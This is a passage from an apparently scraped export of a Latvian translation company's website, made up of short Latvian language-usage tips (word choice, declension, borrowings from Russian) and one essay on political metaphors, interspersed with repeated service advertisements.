tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Ūdens plūst pa trubām vai caurulēm? Ieskaties un uzzini pareizo atbildi! Šis un daudzi citi latviešu valodas padomi vienuviet. - Published: 2018-12-27 - Modified: 2024-08-12 - URL: https://skrivanek.lv/caurule-pret-truba/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional CAURULE PRET TRUBA 1 Vai ūdens plūst pa trubām vai caurulēm? Vārds „truba” latviešu valodā ienācis kā tiešs pārcēlums no krievu valodas („труба”). Lai runātu par garenu veidojumu ar tukšu vidu, pa kuru plūst gāze, ūdens u. tml. , latviešu valodā mēs lietojam vārdu „caurule”. Tātad būs „kanalizācijas caurule”; „kausējamās plastmasas caurules”; „notekūdeņu caurules” utt. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Vai zoodārzā ir žirafju vai žirafu māja? Ieskaties un uzzini atbildi! Daudzi noderīgi latviešu valodas padomi vienuviet! - Published: 2018-12-27 - Modified: 2022-12-27 - URL: https://skrivanek.lv/zirafju-pret-zirafu/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional ŽIRAFJU PRET ŽIRAFU 1 Vai zoodārzā ir žirafju vai žirafu māja? Vārds „žirafe” ir V deklinācijas lietvārds, lielai daļai no tiem daudzskaitļa ģenitīvā notiek „j” noteiktā mija, piemēram, „plūme – plūmju”, „šuve – šuvju”. Tomēr ar līdzskani „f” šādas mijas nav, tāpēc lietojam „karafe – karafu”, „žirafe – žirafu”. Tātad zoodārzā žirafes dzīvo žirafu mājā. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Kā pareizi nosaukt šo pūšaminstrumentu – saksafons vai saksofons? Uzzini atbildi! Daudzi noderīgi latviešu valodas padomi vienuviet! - Published: 2018-12-27 - Modified: 2024-08-14 - URL: https://skrivanek.lv/saksafons-pret-saksofons/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional SAKSAFONS PRET SAKSOFONS 1 Kā pareizi nosaukt šo pūšaminstrumentu – saksafons vai saksofons? 1841. gadā beļģu instrumentu meistars Ādolfs Sakss radīja mūzikas instrumentu, kuru piecus gadus vēlāk arī patentēja. Instrumenta nosaukums veidots, viņa uzvārdam „Sax” pievienojot grieķu vārdu „phōnē” ‘skaņa’, ‘balss’, proti, „saxophone” (franču val. ). Latviešu valodā arī aizgūts vārds „saksofons”, kurā tāpat kā daudzos citos vārdos pirms izskaņas „-fons” tiek lietots patskanis „o”, piemēram: „ksilofons”, „magnetofons”, „metalofons”, „mikrofons”. Klausīsimies un spēlēsim saksofonu! Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Kā teikt: „es šobrīd cepju pīrāgus” vai „es šobrīd cepu pīrāgus”? Ieskaties un uzzini pareizo atbildi! Noderīgi saziņai! - Published: 2018-12-27 - Modified: 2025-03-19 - URL: https://skrivanek.lv/es-cepju-pret-es-cepu/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional ES CEPJU PRET ES CEPU 1 Kā teikt: „es šobrīd cepju pīrāgus” vai „es šobrīd cepu pīrāgus”? Vārds „cept” ir I konjugācijas darbības vārds, kuram tagadnē ir nepārveidots nenoteiksmes celms „cep-”, tātad „es (tagad) cepu”. Turklāt tagadnē izrunājams platais „e”, salīdzinot ar nenoteiksmes („cept pīrāgus”) un pagātnes („es vakar cepu pīrāgus”) celmu. Tātad pareizi būs: „es šobrīd cepu pīrāgus”. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Tātad cepumus, kūkas un tortes garnē, bet telpas – dekorē. Daudzi noderīgi latviešu valodas padomi vienuviet! Ieskaties un uzzini atbildi! - Published: 2018-12-27 - Modified: 2024-08-21 - URL: https://skrivanek.lv/dekoret-un-garnet/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional DEKORĒT UN GARNĒT 1 Kā rakstāms imperatora vārds? Vai vārdi „dekorēt” un „garnēt” ir ar vienu nozīmi? Vārdiem ir atšķirīgas nozīmes. Vārds „dekorēt” nozīmē greznot, rotāt telpu vai kādu vietu. Savukārt vārda „garnēt” nozīme ir rotāt ēdienu. Tātad cepumus, kūkas un tortes garnē, bet telpas – dekorē. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Karavīrs vai kareivis – kā ir pareizi? Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. Ieskaties! - Published: 2018-12-27 - Modified: 2025-03-19 - URL: https://skrivanek.lv/karavirs-pret-kareivis/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional KARAVĪRS PRET KAREIVIS 1 Vai karavīrs un kareivis ir viens un tas pats? Karavīrs ir persona, kura atrodas bruņoto spēku dienestā, proti, ar jebkuru dienesta pakāpi – kareivis, seržants, leitnants utt. Savukārt kareivis ir pirmā (zemākā) dienesta pakāpe daudzu valstu armijās; arī karavīrs, kam ir šāda dienesta pakāpe. Tātad visi, kuri dien bruņotajos spēkos, ir karavīri, bet tikai daļa no tiem dēvējami par kareivjiem, jo tiem piešķirta šāda dienesta pakāpe. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Vai mākslas darbu veido komponentes vai komponenti? Ieskaties un uzzini atbildi! Daudzi noderīgi latviešu valodas padomi vienuviet! - Published: 2018-12-23 - Modified: 2024-08-26 - URL: https://skrivanek.lv/komponente-pret-komponents/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional KOMPONENTE PRET KOMPONENTS 1 Vai mākslas darbu veido komponentes vai komponenti? Komponents ir sastāvdaļa; materiāla, priekšmeta, parādības, procesa u. tml. daļa, elements. Piemēram, viena mākslinieka darbos var būt vienojošais komponents – zilā krāsa; asins komponenti ir, piemēram, eritrocītu masa, asins plazma. Savukārt komponente ir fizikāla vai matemātiska lieluma sastāvdaļa – spēka komponente ir spēka sastāvdaļa, kas darbojas noteiktā interesējošā virzienā, piemēram, tā vēja pūsmas spēka daļa, kas darbojas pretī spēkratu kustībai; horizontālā virzienā mestam ķermenim var aprēķināt tā kustības ātruma horizontālo komponenti un vertikālo komponenti. Tātad ir gleznas komponenti, istabas dizaina komponenti, laistīšanas sistēmas komponenti*. *Kā esam minējuši iepriekš, kur iespējams, vārda „komponents” vietā aicinām lietot latvisko vārdu „sastāvdaļa”. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Vai Zemes garozā atrodami minerāli vai minerāļi? Ieskaties un uzzini atbildi! Daudzi noderīgi latviešu valodas padomi vienuviet! - Published: 2018-12-23 - Modified: 2024-08-26 - URL: https://skrivanek.lv/minerali-pret-minerali/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional MINERĀLI PRET MINERĀĻI 1 Vai Zemes garozā atrodami minerāli vai minerāļi? 1. deklinācijas lietvārda „minerāls” daudzskaitļa nominatīva forma ir „minerāli” līdzīgi kā citiem 1. deklinācijas lietvārdiem ar izskaņu „-āls”: „lekāls – lekāli”; „lineāls – lineāli”; „naktslokāls – naktslokāli” u. tml. Arī citos locījumos un salikteņos tiek saglabāts piedēklis „-āl-”, tāpēc teiksim: minerālavots, minerālūdens, minerālu kolekcija utt. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Vairāk MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Vairāk VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Vairāk AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Vairāk --- > Vai dzimšanas dienu atzīmēsim vai svinēsim? Ieskaties un uzzini atbildi! Daudzi noderīgi latviešu valodas padomi vienuviet! - Published: 2018-12-23 - Modified: 2024-09-12 - URL: https://skrivanek.lv/atzimet-pret-svinet/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional ATZĪMĒT PRET SVINĒT 1 Vai dzimšanas dienu atzīmēsim vai svinēsim? Dažādus priecīgus svētkus – Latvijas Republikas proklamēšanas dienu, Lieldienas, Jāņus u. c. – latvieši svin. Savukārt sēru dienas – Komunistiskā genocīda upuru piemiņas dienu, Latvijas Republikas okupācijas dienu u. tml. –, kā nereti norāda to nosaukumi, varam pieminēt vai aizvadīt. Vārds „atzīmēt”, ja to lietojam domājot par svinībām, ir jāuztver kā semantiskais kalks – latviešu vārds, kam krievu valodas ietekmē klāt nākušas papildu nozīmes „pieminēt”, „svinēt”. Atzīmēt piemiņas vai atceres dienas un svētkus varam kalendārā – izcelt ar citu krāsu, apvilkt vai tml. Tātad svinēsim dzimšanas dienu, svinēsim Skolotāju dienu, svinēsim Meteņus utt. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Vārdu lietojumā ar izskaņu „-ers” un „-eris” latviešu valodā ir svārstības. Kā runāsim par dizaineriem? Ieskaties un uzzini atbildi! - Published: 2018-12-23 - Modified: 2025-03-12 - URL: https://skrivanek.lv/dizainers-pret-dizaineris/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional DIZAINERS PRET DIZAINERIS 1 Vārdu lietojumā ar izskaņu „-ers” un „-eris” latviešu valodā ir svārstības. Kā runāsim par dizaineriem? Lai gan izskaņa „-eris” latviešu valodā šķiet piemērotāka (līdzīgi kā džemperis, zelteris), vārds „dizainers” ir 1. deklinācijas vārds ar izskaņu „-ers” tāpat kā vairāki citi svešvārdi – lāzers, tosters u. c. Tātad teiksim „grafikas dizainers”, „interjera dizainers”, „tērpu dizainers”. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Priekšvēlēšanu diskusiju laikā esam dzirdējuši burtiski kaudzēm versiju, kā partiju kandidāti grasās strādāt turpmākos gadus. Šoreiz izglītības debašu lauks: pašvaldībām izlauztās rokas un Latvijā importētie studenti. - Published: 2018-10-26 - Modified: 2021-07-05 - URL: https://skrivanek.lv/izlauzt-rokas-un-importet-studentus/ - Kategorijas: valodas pērles - Translation Priorities: Optional IZLAUZT ROKAS UN IMPORTĒT STUDENTUS Priekšvēlēšanu diskusiju laikā esam dzirdējuši burtiski kaudzēm versiju, kā partiju kandidāti grasās strādāt turpmākos gadus. Dažādo scenāriju raksturojumā kā allaž ticis lietots ne mazums tēlainās izteiksmes līdzekļu. Šoreiz izglītības debašu lauks: pašvaldībām izlauztās rokas un Latvijā importētie studenti. Mazākās apdzīvotās vietās Latvijā, kā zināms, niecīgā iedzīvotāju skaita dēļ nereti dzirdēts par skolu slēgšanu. Šai rīcībai ir dramatiskas sekas, jo skaidrs, ka uz jauniem iedzīvotājiem šai vietai vairs nav cerību, un, visticamāk, no turienes prom aizies ne tikai ģimenes skolu meklējumos, bet arī bez darba palikušie skolas darbinieki. Šīs situācijas raksturošanai kāds kandidāts lietojis visai trāpīgu metaforu – slēdzot skolu, pašvaldībai tiek izlauztas rokas. Proti, faktiski tai tiek atņemta spēja rīkoties „savām rokām” – tā kļūst atkarīga no citām pašvaldībām vai var vien cerēt uz kādu valsts atbalstu. Šajās debatēs bija dzirdams kāds „špāsīgs” apzīmējums – importa studenti. Vārdnīcā skaidrots, ka imports ir ‘preču, arī kapitāla, pakalpojumu ievešana no ārzemēm’, tāpat arī ‘no ārzemēm ievesto preču kopējais daudzums vai kopējā vērtība’. Pagājušā gadsimta 90. gadu vidū sākumskolā audzinātāja teica, lai labāk izvēloties importa penāļus, jo tie esot ērtāki un klusāki. Runa bija par mīkstajiem penāļiem, kurus ar rāvējslēdzēju varēja atvērt kā grāmatu un kuri krītot neradīja tik šausmīgu troksni kā iepriekš izplatītās metāla kastītes zīmuļiem un pildspalvām. Lūk, šis gadsimts jau nāk ar importa studentiem – vai nu jau students kļuvis par preci? Patiesībā tā ir tiesa – ārzemju studenti, kuri šeit atbraukuši nevis apmaiņas, bet pilna laika studijās, gan augstskolai, gan valstij kopumā nes finanšu labumu. Tā kā viņi nāk no zemēm aiz mūsu robežas, tad varam tos likt kopējā importa aprēķinā! Politika un sports ir nozares, kuras bieži iepriecina ar krāšņiem epitetiem un metaforām. Šis ir vēlēšanu gads, tāpēc spējam tik vākt valodas pērļu ražu! Vasilijs Ragačevičs Skrivanek Baltic direktors K. Priedes ilustrācija CITAS VALODAS PĒRLES --- > Vai separātists ir arī terorists, un terorists – separātists? Ieskaties un uzzini atbildi! Daudzi noderīgi latviešu valodas padomi vienuviet! - Published: 2018-10-16 - Modified: 2024-10-23 - URL: https://skrivanek.lv/separatists-pret-terorists/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional SEPARĀTISTS PRET TERORISTS 1 Vai separātists ir arī terorists, un terorists – separātists? Vārds „separātisms” nozīmē tieksmi nošķirties, atdalīties, veidot slēgtu grupu, pēdējā laikā aktuāla ir arī separātisma otrā nozīme – mazākumtautību kustība par atdalīšanos no vienotas valsts un savas patstāvīgas valsts, autonoma apgabala u. tml. nodibināšana. Vārds cēlies no latīņu vārda „separatus”, kas nozīmē ‘atdalīts’. Vārds „terorisms” nozīmē noziedzīgu darbību – plānotu vardarbību (piem. , spridzināšanu, slepkavības, lidmašīnu un cilvēku nolaupīšanu, ķīlnieku sagrābšanu), ko lieto kā politiskās ietekmēšanas līdzekli. Vārda „terorisms” pamatā ir vārds „terors”, kas cēlies no latīņu vārda „terror” – ‘bailes, šausmas’. Terorists ir terorisma piekritējs vai terora akta veicējs. Neba vienmēr separātisti nodarbojas ar terorismu, bieži separātisti vēlas iegūt neatkarību arī sarunu ceļā, ar politiskiem, juridiskiem lēmumiem u. tml. Tātad katalāņu separātisti vēlas iegūt neatkarību no Spānijas, rīkojot referendumu; teroristi un teroristu grupējumi pēdējā laikā rīkojuši terora aktus dažādās Eiropas pilsētās, novietojot spridzekļus publiskās vietās. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, 